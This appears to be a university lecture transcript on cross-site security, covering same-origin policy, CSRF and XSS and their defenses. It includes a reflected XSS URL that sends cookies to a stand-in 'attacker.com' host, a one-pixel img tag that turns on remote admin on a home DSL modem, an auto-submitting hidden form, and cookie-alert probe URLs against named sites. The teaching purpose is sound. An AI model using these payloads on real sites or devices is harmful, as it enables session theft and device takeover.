CSC 482/582: Computer Security

Slides:



Advertisements
Similar presentations
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems © 2002, Predictive Systems.
Advertisements

Nick Feamster CS 6262 Spring 2009
Cross-site Request Forgery (CSRF) Attacks
Past, Present and Future By Eoin Keary and Jim Manico
What is code injection? Code injection is the exploitation of a computer bug that is caused by processing invalid data. Code injection can be used by.
HI-TEC 2011 SQL Injection. Client’s Browser HTTP or HTTPS Web Server Apache or IIS HTML Forms CGI Scripts Database SQL Server or Oracle or MySQL ODBC.
TCP/IP Protocol Suite 1 Copyright © The McGraw-Hill Companies, Inc. Permission required for reproduction or display. Chapter 22 World Wide Web and HTTP.
©2009 Justin C. Klein Keane PHP Code Auditing Session 5 XSS & XSRF Justin C. Klein Keane
EECS 354 Network Security Cross Site Scripting (XSS)
CMSC 414 Computer and Network Security Lecture 24 Jonathan Katz.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
It’s always better live. MSDN Events Securing Web Applications Part 1 of 2 Understanding Threats and Attacks.
Introduction to the OWASP Top 10. Cross Site Scripting (XSS)  Comes in several flavors:  Stored  Reflective  DOM-Based.
CROSS SITE SCRIPTING..! (XSS). Overview What is XSS? Types of XSS Real world Example Impact of XSS How to protect against XSS?
WEB SECURITY WORKSHOP TEXSAW 2013 Presented by Joshua Hammond Prepared by Scott Hand.
Web Application Vulnerabilities Checklist. EC-Council Parameter Checklist  URL request  URL encoding  Query string  Header  Cookie  Form field 
Christopher M. Pascucci Basic Structural Concepts of.NET Browser – Server Interaction.
 A cookie is a piece of text that a Web server can store on a user's hard disk.  Cookie data is simply name-value pairs stored on your hard disk by.
Introduction to InfoSec – Recitation 10 Nir Krakowski (nirkrako at post.tau.ac.il) Itamar Gilad (itamargi at post.tau.ac.il)
Copyright© 2002 Avaya Inc. All rights reserved Advanced Cross Site Scripting Evil XSS Anton Rager.
Cosc 4765 Server side Web security. Web security issues From Cenzic Vulnerability report
HTTP and Server Security James Walden Northern Kentucky University.
Cross-Site Scripting Vulnerabilities Adam Doupé 11/24/2014.
Origins, Cookies and Security – Oh My! John Kemp, Nokia Mobile Solutions.
Prevent Cross-Site Scripting (XSS) attack
WEB SECURITY WEEK 3 Computer Security Group University of Texas at Dallas.
CSCI 6962: Server-side Design and Programming Secure Web Programming.
1-Vulnerabilities 2-Hackers 3-Categories of attacks 4-What a malicious hacker do? 5-Security mechanisms 6-HTTP Web Servers 7-Web applications attacks.
Chapter 9 Web Applications. Web Applications are public and available to the entire world. Easy access to the application means also easy access for malicious.
Penetration Testing James Walden Northern Kentucky University.
JavaScript, Fourth Edition
IBM Rational Application Security Group (aka Watchfire) Web Based Man In the Middle Attack © 2009 IBM Corporation 1 Active Man in the Middle Attacks The.
November 13, 2008 Ohio Information Security Forum Attack Surface of Web Applications James Walden Northern Kentucky University
3-Protecting Systems Dr. John P. Abraham Professor UTPA.
Cross-Site Attacks James Walden Northern Kentucky University.
Security Scanners Mark Shtern. Popular attack targets Web – Web platform – Web application Windows OS Mac OS Linux OS Smartphone.
CIT 380: Securing Computer SystemsSlide #1 CIT 380: Securing Computer Systems Web Security.
October 3, 2008IMI Security Symposium Application Security through a Hacker’s Eyes James Walden Northern Kentucky University
Copyright © The OWASP Foundation Permission is granted to copy, distribute and/or modify this document under the terms of the OWASP License. The OWASP.
1 Robust Defenses for Cross-Site Request Forgery Adam Barth, Collin Jackson, John C. Mitchell Stanford University 15th ACM CCS.
Presented By: Chandra Kollipara. Cross-Site Scripting: Cross-Site Scripting attacks are a type of injection problem, in which malicious scripts are injected.
CSRF Attacks Daniel Chen 11/18/15. What is CSRF?  Cross Site Request Forgery (Sea-Surf)  AKA XSRF/ One Click / Sidejacking / Session Riding  Exploits.
Session 11: Cookies, Sessions ans Security iNET Academy Open Source Web Development.
By Collin Donaldson. Hacking is only legal under the following circumstances: 1.You hack (penetration test) a device/network you own. 2.You gain explicit,
SlideSet #20: Input Validation and Cross-site Scripting Attacks (XSS) SY306 Web and Databases for Cyber Operations.
Web Security (cont.) 1. Referral issues r HTTP referer (originally referrer) – HTTP header that designates calling resource  Page on which a link is.
XSS 101 Jason Clark 12/20.
CSC 482/582: Computer Security
Javascript worms By Benjamin Mossé SecPro
Group 18: Chris Hood Brett Poche
Building Secure ColdFusion Applications
CSCE 548 Student Presentation Ryan Labrador
Web Application Vulnerabilities
World Wide Web policy.
Cross-Site Scripting Travis Deyarmin.
Ofer Shezaf, CTO, Breach Security
What is REST API ? A REST (Representational State Transfer) Server simply provides access to resources and the REST client accesses and presents the.
Cross-Site Forgery
Cross Sight scripting: Type-2
Cross-Site Request Forgeries: Exploitation and Prevention
Less Known Web Application Vulnerabilities
Riding Someone Else’s Wave with CSRF
CSC 495/583 Topics of Software Security Intro to Web Security
Foundations of Network and Computer Security
CSC 482/582: Computer Security
Cross-Site Scripting Issues and Defenses Ed Skoudis Predictive Systems
Advanced Cross Site Scripting Evil XSS
Exploring DOM-Based Cross Site Attacks
Cross-Site Scripting Attack (XSS)
Cross Site Request Forgery (CSRF)
Presentation transcript:

CSC 482/582: Computer Security Cross-Site Security CSC 482/582: Computer Security

Topics Same Origin Policy Credential Caching Cross-Site Request Forgery Cross-Site Scripting (XSS) XSS Variants CSC 482/582: Computer Security

Web Page Interactions Possible interactions limited by same-origin policy (a.k.a. cross-domain security policy) Links, embedded frames, data inclusion across domains still possible Client-side scripts can make requests cross-domain HTTP & cookie authentication two common modes (both are usually cached) Cached credentials associated with browser instance Future (possibly malicious) requests don’t need further authentication

Same Origin Policy Modern browsers use DHTML Support style layout through CSS Behavior directives through JavaScript Access Document Object Model (DOM) allowing reading/modifying page and responding to events Origin: protocol, hostname, port, but not path Same-origin policy: scripts can only access properties (cookies, DOM objects) of documents of same origin

Same-Origin Examples Same Origin All Different Origins http://www.examplesite.org/here http://www.examplesite.org/there same protocol: http, host: examplesite, default port 80 All Different Origins https://www.examplesite.org/there http://www.examplesite.org:8080/thar http://www.hackerhome.org/yonder Different protocol: http vs. https, different ports: 80 vs. 8080, different hosts: examplesite vs. hackerhome

Interactions between Different Origins hackerhome.org can link to us, can’t control <a href="http://www.mywwwservice.com/some_url">Click here!</a> Or include a hidden embedded frame: <iframe style="display: none" src="http://www.mywwwservice.com/ some_url"></iframe> No visible cue to the user (style attribute hides it) Happens automatically, without user interaction Same-origin policy prevents JavaScript on hackerhome direct access to our DOM

Possible Interactions Occasionally, data loaded from one domain is considered to originate from different domain <script src="http://www.mywwwservice.com/some_url></script"> hackerhome can include this script loaded from our site, but it is considered to originate from hackerhome instead Included script can inspect contents of enclosing page which can define evaluation environment for script

Possible Interactions Another way attacker can initiate requests from user’s browsers to our server: Form is submitted to our server without any input from user Only has a hidden input field, nothing visible to user Form has a name, so script can access it via DOM and automatically submit it <form name="f" method="POST" action="http://www.mywwwservice.com/action"> <input type="hidden" name="cmd" value="do_something"> ... </form> <script>document.f.submit();</script>

HTTP Request Authentication HTTP is stateless, so web apps have to associate requests with users themselves HTTP authentication: username/passwd automatically supplied in HTTP header Cookie authentication: credentials requested in form, after POST app issues session token Browser returns session cookie for each request Hidden-form authentication: hidden form fields transfer session token Http & cookie authentication credentials cached

Lifetime of Credentials Temporary cookies cached until browser shut down, persistent ones cached until expiry date HTTP authentication credentials cached in memory, shared by all browser windows of a single browser instance Caching depends only on browser instance lifetime, not on whether original window is open

Credential Caching Scenario (1) Alice has browser window open, (2) creates new window (3) to visit our site, HTTP authentication credentials stored (4) She closes the window, but original one still open (5) later, she’s lured to the hacker’s site which causes a surreptitious request to our site utilizing the cached credentials Credentials persisted even after (4), cookies could have been timed-out; step (5) could happen days or weeks after (4)

Cross-Site Attacks Target users of application. Use application feature to reach other users of application. Clients are less well defended than servers. Obtain assets of individual users rather than assets of entire application. Most common type of attack. Cross-Site Request Forgery (CSRF) Cross-Site Scripting (XSS) CSC 482/582: Computer Security

Cross-Site Request Forgery A confused deputy attack. Exploits trust that application has with authentication sessions. Attack scenario: User authenticates to web application. User browses to another site containing a malicious CSRF attack link to web app. iframe, img, link, bgsound, etc. Browser accesses web app with cached credentials, performing whatever action specified by the link. CSC 482/582: Computer Security

Example: DSL Modem Attack Home network devs administered via web apps. Standard local IPs. Attacker inserts 1-pixel img tag on page. src is URL of form submission, giving remote admin. No password needed. Software owner assumed device on trusted local network. Of course, browser is on the local network too. <img src="http://192.168.1.254/Forms/remoteRES_1?NSS_RemotePassword=blehblah&NSS_EnableWANAdminAccessRES=on&timeoutDisable=0&Enable=Enable" alt="" width="1" height="1" /> Image from http://www.neohaxor.org/2008/12/01/csrf-vulns-on-local-network-devices/ CSC 482/582: Computer Security

Mitigating CSRF Require POST for data modifications, but Many frameworks automatically fetch both types of parameters or convert one to other. Hidden POST requests can be created with scripts. Check referer header. But users can block or forge referer header, so it cannot be relied on for everyone. Use nonces. Random token inserted as hidden parameter, and thus submitted with form. But XSS can read form, so a combined XSS + CSRF attack can bypass this defense. CSC 482/582: Computer Security

Mitigating CSRF Re-authenticate for high value transactions. Use out of band authentication if possible. Expire session IDs quickly. But there will always be some time period in which a CSRF attack will work. Automate defenses with tools. CSRFGuard to insert nonces. CSRFTester to verify application. CSC 482/582: Computer Security

Cross-Site Scripting (XSS) Attacker causes a legitimate web server to send user executable content (Javascript, Flash ActiveScript) of attacker’s choosing. Impact of XSS Account hijacking. Browser hijacking (malware hosting.) Information leakage (stored form values, etc.) Virtual defacement. CSC 482/582: Computer Security

XSS Examples MySpace worm (October 2005) Paypal (2006) BBC, CBS (2006) When someone viewed Samy’s profile: Set him as friend of viewer. Incorporated code in viewer’s profile. Paypal (2006) XSS redirect used to steal money from Paypal users in a phishing scam. BBC, CBS (2006) By following XSS link from securitylab.ru, you could read an apparently valid story on the BBC or CBS site claiming that Bush appointed a 9-year old as head of the Information Security department. CSC 482/582: Computer Security

XSS Key Steps Attacker sends code to web application. Legitimate user accesses web app. Web app sends attacker code to user. User’s browser executes code. CSC 482/582: Computer Security

XSS Example Client browser sends an error message to the web server. https://example.com/error.php?message=Sorry%2C+an +error+occurred CSC 482/582: Computer Security

XSS Example The error message is “reflected” back from the Web server to the client in a web page. CSC 482/582: Computer Security

XSS Example We can replace the error with JavaScript https://example.com/error.php?message=<script>alert(‘xss’);</script> CSC 482/582: Computer Security

Exploiting the Example User logins in and is issued a cookie Attacker feed the URL to user https://example.com/error.php?message=<script>var+i=new+Image;+i.src=“http://attacker.com/”%2bdocument.cookie;</script> CSC 482/582: Computer Security

Why does XSS Work? Same-Origin Policy Vulnerable Server Program Browser only allows Javascript from site X to access cookies and other data from site X. Attacker needs to make attack come from site X. Vulnerable Server Program Any program that returns user input without filtering out dangerous code. CSC 482/582: Computer Security

Reflected XSS Attack Scenario Limitations User clicks on link. Injected script returned by one-time message from vulnerable site. User browser executes injected code. Limitations Non-persistent. Only works when user clicks. Most common type of XSS (~75%). CSC 482/582: Computer Security

Anatomy of an XSS Attack Web Server 8. Attacker hijacks user session. 1. Login Attacker User 2. Cookie 5. XSS URL 3. XSS Attack 6. Page with injected code. 7. Browser runs injected code. 4. User clicks on XSS link. Evil site saves ID. CSC 482/582: Computer Security

XSS URL Examples http://www.microsoft.com/education/?ID=MCTN&target=http://www.microsoft.com/education/?ID=MCTN&target="><script>alert(document.cookie)</script> http://hotwired.lycos.com/webmonkey/00/18/index3a_page2.html?tw=<script>alert(‘Test’);</script> http://www.shopnbc.com/listing.asp?qu=<script>alert(document.cookie)</script>&frompage=4&page=1&ct=VVTV&mh=0&sh=0&RN=1 http://www.oracle.co.jp/mts_sem_owa/MTS_SEM/im_search_exe?search_text=_%22%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E CSC 482/582: Computer Security

Stored XSS Injected script stored in Post or comment. Review. Uploaded file. User views page with injected script. Malicious action is taken while user is logged into site where malware found. Not technically cross-site. Attack persists until injected code deleted. CSC 482/582: Computer Security

DOM-based XSS Attack scenario Exploits vulnerability in client code. User clicks on URL with crafted Javascript. Application’s client code extracts data from URL and dynamically updates page with it. User browser executes crafted Javascript that was inserted in the page. Exploits vulnerability in client code. Server does not reflect or store evil Javascript. CSC 482/582: Computer Security

Mitigating XSS Disallow HTML input Allow only safe HTML tags Filter output Replace HTML special characters in output ex: replace < with < and > with > also replace (, ), #, & Tagged cookies Include IP address in cookie and only allow access to original IP address that cookie was created for. CSC 482/582: Computer Security

References Brian Chess and Jacob West, Secure Programming with Static Analysis, Addison-Wesley, 2007. Daswani et. al., Foundations of Security, Apress, 2007. Seth Fogie et. al., XSS Attacks: Cross-Site Scripting Exploits and Defense, Syngress, 2007. Michael Howard, David LeBlanc, and John Viega, 19 Deadly Sins of Software Security, McGraw-Hill Osborne, 2005. Nathan, http://www.neohaxor.org/2008/12/01/csrf-vulns-on-local-network-devices/, 2008. PCI Security Standards Council, PCI DSS Requirements and Security Assessment Procedures, v1.2, 2008. Dafydd Stuttart and Marcus Pinto, The Web Application Hacker’s Handbook, Wiley, 2008. CSC 482/582: Computer Security